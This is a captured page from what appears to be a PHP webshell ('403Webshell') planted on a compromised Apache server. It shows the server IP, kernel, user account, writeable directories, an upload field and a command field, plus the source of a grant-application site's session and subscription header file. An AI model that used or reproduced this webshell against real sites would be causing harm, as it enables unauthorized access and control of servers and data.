403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/fundingapplications.com/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/fundingapplications.com/inc/php_header.php
<?php
//die('We are currently down for maintenance, we should be back up in a few hours.');
//error_reporting(0);
//ini_set('display_errors', 0);
session_start();
if(strstr($_SERVER['REMOTE_ADDR'],'74.211.31') !== false) {
	die(); //74.211.31.213 dustin's office ip
}
include_once($_SERVER['DOCUMENT_ROOT'].'/inc/keyword_parser.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/inc/globals.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/inc/functions.includes.php');
require_once($_SERVER["DOCUMENT_ROOT"].'/inc/LCAPI.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/tracker/client/TrackerLib.php');

if(!empty($_GET)) {
	foreach($_SESSION as $key=>$value) {
		if(!in_array($key,array('auth_user','auth_pass','site_subscriptions','user_subscriptions','keywords'))) {
			unset($_SESSION[$key]);
		}
	}
	foreach($_GET as $key=>$value) {
		if($key=='prm') { continue; }
		$_SESSION[$key] = $value;
	}
	$url = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') ? 'https://' : 'http://';
	$url .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
	$url_parts = explode('?',$url);
	header("Location: {$url_parts[0]}");
} else {
	foreach($_SESSION as $key=>$value) {
		if($key=='prm') { continue; }
		$_GET[$key] = $value;
		if(!isset($_POST[$key])) {
			$_REQUEST[$key] = $value;
		}
	}
}
if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS']=='off') {
	$new_get = '';
	foreach($_SESSION as $key=>$value) {
		$new_get .= ($new_get=='') ? '?' : '&';
		$new_get .= urlencode($key).'='.urlencode($value);
	}
	$url = 'https://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
	$url_parts = explode('?',$url);
	header("Location: {$url_parts[0]}{$new_get}");
	exit(0);
}

$tc = (!isset($_GET['tc'])) ? 'none': $_GET['tc'];
$url_parts = explode('/',$_SERVER['REQUEST_URI']);
$app_types = array('Business-Grants'=>'business',
					'Housing-Grants'=>'realestate',
					'Education-Grants'=>'education',
					'Personal-Grants'=>'personal');
$app_type = $_SESSION['apptype'];
foreach($app_types as $key=>$value) {
	if(in_array($key, $url_parts)) {
		$app_type=$value;
		$_SESSION['apptype'] = $app_type;
	}
}
$_GET['apptype'] = $app_type;
$_REQUEST['apptype'] = $app_type;

$_SESSION = sanitize($_SESSION); 
$_REQUEST = sanitize($_REQUEST); 
$_POST = sanitize($_POST); 
$_GET = sanitize($_GET);

$tracker = new TrackerLib($_SITE_CODE);
$params = $tracker->URLParameters();
$trackerparams = $tracker->TrackerParameters();
$trackerformparams = $tracker->FormParameters();

$initial_subscription_fee = $_INITIAL_FEE; 
$monthly_subscription_fee = $_MONTHLY_FEE; 
$monthly_subscription_trial = $_MONTHLY_TRIAL; 

if(isset($_SESSION['subscriptions']) && is_array($_SESSION['subscriptions'])) {
	$initial_subscription_fee 	= (isset($_SESSION['subscriptions']['initial_fee']) && is_numeric($_SESSION['subscriptions']['initial_fee'])) ? $_SESSION['subscriptions']['initial_fee'] : $_INITIAL_FEE; 
	$monthly_subscription_fee 	= (isset($_SESSION['subscriptions']['monthly_fee']) && is_numeric($_SESSION['subscriptions']['monthly_fee'])) ? $_SESSION['subscriptions']['monthly_fee'] : $_MONTHLY_FEE; 
	$monthly_subscription_trial = (isset($_SESSION['subscriptions']['monthly_fee']) && is_numeric($_SESSION['subscriptions']['monthly_trial'])) ? $_SESSION['subscriptions']['monthly_trial'] : $_MONTHLY_TRIAL; 
	
} else {
	$subscriptions = json_decode(getPage('https://surfcrm.com/lcapi/GetSubscriptions.php?site='.$_SITE_CODE.'&client_ip='.$_SERVER['REMOTE_ADDR'],'get','','','',''), $assoc = true); 
	if(!empty($subscriptions)) {
		if(isset($subscriptions['site'])) {
			$initial_subscription_fee = (isset($subscriptions['site']['id_1']['amount']) && is_numeric($subscriptions['site']['id_1']['amount'])) ? $subscriptions['site']['id_1']['amount'] : $_INITIAL_FEE; 
			$monthly_subscription_fee = (isset($subscriptions['site']['id_2']['amount']) && is_numeric($subscriptions['site']['id_2']['amount'])) ? $subscriptions['site']['id_2']['amount'] : $_MONTHLY_FEE; 
			$monthly_subscription_trial = (isset($subscriptions['site']['id_2']['trial']) && is_numeric($subscriptions['site']['id_2']['trial'])) ? $subscriptions['site']['id_2']['trial'] : $_MONTHLY_TRIAL; 
			$_SESSION['subscriptions'] = array(); 
			$_SESSION['subscriptions']['initial_fee'] 	= $initial_subscription_fee; 
			$_SESSION['subscriptions']['monthly_fee'] 	= $monthly_subscription_fee; 
			$_SESSION['subscriptions']['monthly_trial'] = $monthly_subscription_trial; 
		} 
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit